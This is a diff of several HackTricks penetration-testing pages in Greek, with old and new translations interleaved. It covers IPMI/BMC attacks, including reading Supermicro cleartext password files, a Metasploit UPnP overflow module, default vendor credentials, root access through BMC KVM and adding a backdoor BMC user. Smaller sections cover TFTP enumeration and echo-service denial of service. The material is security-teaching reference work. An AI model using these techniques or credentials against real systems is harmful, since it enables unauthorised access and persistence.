### **Supermicro IPMI Clear-text Passwords**
Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε μορφή καθαρού κειμένου μέσα στα BMCs για σκοπούς πιστοποίησης. Η αποθήκευση αυτών των κωδικών πρόσβασης από την Supermicro σε τοποθεσίες όπως `/nv/PSBlock` ή `/nv/PSStore` προκαλεί σημαντικές ανησυχίες ασφαλείας:
Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών από την Supermicro σε τοποθεσίες όπως το `/nv/PSBlock` ή το `/nv/PSStore` εγείρει σημαντικούς προβληματισμούς ασφαλείας:
```bash
cat /nv/PSBlock
```
### **Ευπάθεια UPnP στο Supermicro IPMI**
### **Ευπάθεια UPnP IPMI Supermicro**
Η περιλαμβανόμενη από τη Supermicro εφαρμογή UPnP SSDP listener στο firmware του IPMI, ειδικά στην UDP θύρα 1900, εισάγει ένα σοβαρό κίνδυνο ασφάλειας. Οι ευπάθειες στην έκδοση 1.3.1 του Intel SDK για συσκευές UPnP, όπως περιγράφονται από την αποκάλυψη της [Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), επιτρέπουν την πρόσβαση ως root στο BMC:
Η συμπερίληψη ενός ακροατή SSDP UPnP στο firmware IPMI της Supermicro, ιδιαίτερα στην UDP θύρα 1900, εισάγει έναν σοβαρό κίνδυνο ασφαλείας. Οι ευπάθειες στο Intel SDK για συσκευές UPnP έκδοσης 1.3.1, όπως αναφέρεται στην [αποκάλυψη της Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), επιτρέπουν πρόσβαση root στο BMC:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Βίαιη Δύναμη
### Brute Force
Η **HP τυχαιοποιεί το προεπιλεγμένο κωδικό πρόσβασης** για το προϊόν της **Integrated Lights Out (iLO)** κατά την κατασκευή. Αυτή η πρακτική αντίθετα με άλλους κατασκευαστές, οι οποίοι τείνουν να χρησιμοποιούν **στατικές προεπιλεγμένες πιστοποιήσεις**. Παρακάτω παρέχεται ένας περίλογος με προεπιλεγμένα ονόματα χρηστών και κωδικούς πρόσβασης για διάφορα προϊόντα:
**Η HP τυχαία επιλέγει τον προεπιλεγμένο κωδικό πρόσβασης** για το προϊόν **Integrated Lights Out (iLO)** κατά την κατασκευή. Αυτή η πρακτική αντιτίθεται σε άλλους κατασκευαστές, οι οποίοι τείνουν να χρησιμοποιούν **στατικά προεπιλεγμένα διαπιστευτήρια**. Μια σύνοψη των προεπιλεγμένων ονομάτων χρηστών και κωδικών πρόσβασης για διάφορα προϊόντα παρέχεται ως εξής:
- Το **HP Integrated Lights Out (iLO)** χρησιμοποιεί ένα **τυχαίο 8-χαρακτήριο συμβολοσειρά** ως προεπιλεγμένο κωδικό πρόσβασης, παρουσιάζοντας ένα υψηλότερο επίπεδο ασφαλείας.
- Προϊόντα όπως το **Dell's iDRAC, IBM's IMM** και **Fujitsu's Integrated Remote Management Controller** χρησιμοποιούν εύκολα μαντεύσιμους κωδικούς πρόσβασης όπως "calvin", "PASSW0RD" (με μηδέν), και "admin" αντίστοιχα.
- Επίσης, το **Supermicro IPMI (2.0), Oracle/Sun ILOM** και **ASUS iKVM BMC** χρησιμοποιούν επίσης απλούς προεπιλεγμένους κωδικούς πρόσβασης, με "ADMIN", "changeme" και "admin" να λειτουργούν ως κωδικοί πρόσβασης τους.
- **HP Integrated Lights Out (iLO)** χρησιμοποιεί μια **εργοστασιακά τυχαία 8-χαρακτήρων αλφαριθμητική συμβολοσειρά** ως τον προεπιλεγμένο κωδικό πρόσβασης, επιδεικνύοντας υψηλότερο επίπεδο ασφάλειας.
- Προϊόντα όπως το **Dell's iDRAC, IBM's IMM** και το **Fujitsu's Integrated Remote Management Controller** χρησιμοποιούν εύκολα μαντεύσιμους κωδικούς πρόσβασης όπως "calvin", "PASSW0RD" (με μηδέν) και "admin" αντίστοιχα.
- Ομοίως, **Supermicro IPMI (2.0), Oracle/Sun ILOM** και **ASUS iKVM BMC** χρησιμοποιούν επίσης απλά προεπιλεγμένα διαπιστευτήρια, με "ADMIN", "changeme" και "admin" να χρησιμεύουν ως οι κωδικοί πρόσβασης τους.
## Πρόσβαση στον Κεντρικό Υπολογιστή μέσω του BMC
## Accessing the Host via BMC
Η διαχειριστική πρόσβαση στον Ελεγκτή Διαχείρισης Βασικής Πλακέτας (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του κεντρικού υπολογιστή. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Πληκτρολογίου, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον κεντρικό υπολογιστή σε ένα root shell μέσω του GRUB (χρησιμοποιώντας `init=/bin/sh`) είτε εκκινώντας από ένα εικονικό CD-ROM που έχει οριστεί ως δισκέτα ανάκαμψης. Τέτοιες μεθόδοι επιτρέπουν την άμεση επεξεργασία του δίσκου του κεντρικού υπολογιστή, συμπεριλαμβανομένης της εισαγωγής πίσω πόρτας, της εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφαλείας. Ωστόσο, αυτό απαιτεί την επανεκκίνηση του κεντρικού υπολογιστή, που αποτελεί ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον εκτελούμενο κεντρικό υπολογιστή είναι πιο περίπλοκη και διαφέρει ανάλογα με τη διαμόρφωση του κεντρικού υπολογιστή. Εάν η φυσική ή η σειριακή κονσόλα του κεντρικού υπολογιστή παραμένει συνδεδεμένη, μπορεί εύκολα να καταληφθεί μέσω των λειτουργιών KVM ή σειριακής-μέσω-LAN (sol) του BMC μέσω του `ipmitool`. Η εξερεύνηση της εκμετάλλευσης κοινόχρηστων υλικών πόρων, όπως το δίαυλος i2c και το Super I/O chip, είναι ένας τομέας που απαιτεί περαιτέρω έρευνα.
Η διαχειριστική πρόσβαση στον Ελεγκτή Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας `init=/bin/sh`) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειρισμό του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω του `ipmitool`. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαδρομή i2c και το Super I/O chip, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα.
## Εισαγωγή Πίσω Πόρτας στο BMC από τον Κεντρικό Υπολογιστή
## Introducing Backdoors into BMC from the Host
Μετά την παραβίαση ενός κεντρικού υπολογιστή που είναι εξοπλισμένος με ένα BMC, η **τοπική διεπαφή του BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός λογαριασμού χρήστη πίσω πόρτας**, δημιουργώντας μια μόνιμη παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του **`ipmitool`** στον παραβιασμένο υπολογιστή και την ενεργοποίηση της υποστήριξης του οδηγού BMC. Οι παρακάτω εντολές επιδεικνύουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας την τοπική διεπαφή του υπολογιστή, που παρακάμπτει την ανάγκη για πιστοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε μια ευρεία γκάμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμα και DOS.
Αφού παραβιαστεί ένας host εξοπλισμένος με BMC, η **τοπική διεπαφή BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός backdoor λογαριασμού χρήστη**, δημιουργώντας μια μόνιμη παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του **`ipmitool`** στον παραβιασμένο host και την ενεργοποίηση της υποστήριξης οδηγών BMC. Οι παρακάτω εντολές απεικονίζουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας τη τοπική διεπαφή του host, παρακάμπτοντας την ανάγκη για αυθεντικοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε ένα ευρύ φάσμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμη και DOS.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
@ -127,20 +128,21 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
* `port:623`
## Αναφορές
## References
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,42 +1,43 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Βασικές Πληροφορίες
# Basic Information
**Πρωτόκολλο Απλής Μεταφοράς Αρχείων (TFTP)** είναι ένα απλό πρωτόκολλο που χρησιμοποιείται στη θύρα **UDP 69** και επιτρέπει μεταφορές αρχείων χωρίς την ανάγκη πιστοποίησης. Επισημαίνεται στο **RFC 1350**, η απλότητά του σημαίνει ότι λείπουν βασικά χαρακτηριστικά ασφαλείας, οδηγώντας σε περιορισμένη χρήση στο διαδίκτυο. Ωστόσο, το **TFTP** χρησιμοποιείται εκτενώς εντός μεγάλων εσωτερικών δικτύων για τη διανομή **αρχείων ρυθμίσεων** και **εικόνων ROM** σε συσκευές όπως τα **VoIP handsets**, χάρη στην αποτελεσματικότητά του σε αυτά τα συγκεκριμένα σενάρια.
**Trivial File Transfer Protocol (TFTP)** είναι ένα απλό πρωτόκολλο που χρησιμοποιείται στο **UDP port 69** και επιτρέπει τη μεταφορά αρχείων χωρίς να απαιτείται αυθεντικοποίηση. Αναφέρεται στο **RFC 1350**, η απλότητά του σημαίνει ότι στερείται βασικών χαρακτηριστικών ασφαλείας, οδηγώντας σε περιορισμένη χρήση στο δημόσιο Διαδίκτυο. Ωστόσο, το **TFTP** χρησιμοποιείται εκτενώς σε μεγάλες εσωτερικές δίκτυα για τη διανομή **αρχείων ρυθμίσεων** και **εικόνων ROM** σε συσκευές όπως **VoIP handsets**, χάρη στην αποδοτικότητά του σε αυτές τις συγκεκριμένες περιπτώσεις.
**TODO**: Παρέχετε πληροφορίες σχετικά με το τι είναι ένα Bittorrent-tracker (Το Shodan αναγνωρίζει αυτήν τη θύρα με αυτό το όνομα). Αν έχετε περισσότερες πληροφορίες γι' αυτό πείτε μας για παράδειγμα στην [**ομάδα telegram του HackTricks**](https://t.me/peass) (ή σε ένα θέμα στο github στο [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Παρέχετε πληροφορίες σχετικά με το τι είναι ένας Bittorrent-tracker (το Shodan αναγνωρίζει αυτήν την πόρτα με αυτό το όνομα). Αν έχετε περισσότερες πληροφορίες σχετικά με αυτό, ενημερώστε μας για παράδειγμα στην [**HackTricks telegram group**](https://t.me/peass) (ή σε ένα θέμα github στο [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Προεπιλεγμένη Θύρα:** 69/UDP
**Default Port:** 69/UDP
```
PORT STATE SERVICE REASON
69/udp open tftp script-set
```
# Απαρίθμηση
# Enumeration
Το TFTP δεν παρέχει λίστα καταλόγου, οπότε το script `tftp-enum` από το `nmap` θα προσπαθήσει να κάνει brute-force σε προεπιλεγμένα μονοπάτια.
Το TFTP δεν παρέχει λίστα καταλόγων, οπότε το σενάριο `tftp-enum` από το `nmap` θα προσπαθήσει να επιτεθεί σε προεπιλεγμένες διαδρομές.
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
## Λήψη/Αποστολή
## Download/Upload
Μπορείτε να χρησιμοποιήσετε το Metasploit ή την Python για να ελέγξετε αν μπορείτε να κάνετε λήψη/αποστολή αρχείων:
Μπορείτε να χρησιμοποιήσετε το Metasploit ή την Python για να ελέγξετε αν μπορείτε να κατεβάσετε/ανεβάσετε αρχεία:
```bash
msf5> auxiliary/admin/tftp/tftp_transfer_util
```
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,38 +1,40 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Ομάδα Ασφάλειας Try Hard**
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# Βασικές Πληροφορίες
Ένα υπηρεσία echo τρέχει σε αυτό τον κεντρικό υπολογιστή. Η υπηρεσία echo προοριζόταν για δοκιμές και μέτρηση και μπορεί να ακούει τόσο στα πρωτόκολλα TCP όσο και UDP. Ο διακομιστής επιστρέφει οποιαδήποτε δεδομένα λαμβάνει, χωρίς καμία τροποποίηση.\
**Είναι δυνατόν να προκαλείτε μια αρνητική υπηρεσία συνδέοντας μια υπηρεσία echo με την υπηρεσία echo στον ίδιο ή άλλο υπολογιστή**. Λόγω του υπερβολικά υψηλού αριθμού πακέτων που παράγονται, οι επηρεασμένοι υπολογιστές μπορεί να αποσυρθούν αποτελεσματικά από την υπηρεσία.\
# Basic Information
Ένας υπηρεσία echo εκτελείται σε αυτόν τον υπολογιστή. Η υπηρεσία echo προοριζόταν για δοκιμές και μετρήσεις και μπορεί να ακούει και στα δύο πρωτόκολλα TCP και UDP. Ο διακομιστής στέλνει πίσω οποιαδήποτε δεδομένα λαμβάνει, χωρίς καμία τροποποίηση.\
**Είναι δυνατόν να προκαλέσετε άρνηση υπηρεσίας συνδέοντας μια υπηρεσία echo με την υπηρεσία echo στον ίδιο ή σε άλλο υπολογιστή**. Λόγω του υπερβολικά υψηλού αριθμού πακέτων που παράγονται, οι επηρεαζόμενοι υπολογιστές μπορεί να βγουν αποτελεσματικά εκτός υπηρεσίας.\
Πληροφορίες από [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Προεπιλεγμένη Θύρα:** 7/tcp/udp
**Default Port:** 7/tcp/udp
```
PORT STATE SERVICE
7/udp open echo
7/tcp open echo
```
## Επικοινωνία με την υπηρεσία Echo (UDP)
## Επαφή με την υπηρεσία Echo (UDP)
```bash
nc -uvn <IP> 7
Hello echo #This is wat you send
@ -42,7 +44,7 @@ Hello echo #This is the response
* `port:7 echo`
## Αναφορές
## References
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
@ -51,20 +53,21 @@ Hello echo #This is the response
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# 873 - Ελέγχος ασφάλειας Rsync
# 873 - Pentesting Rsync
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
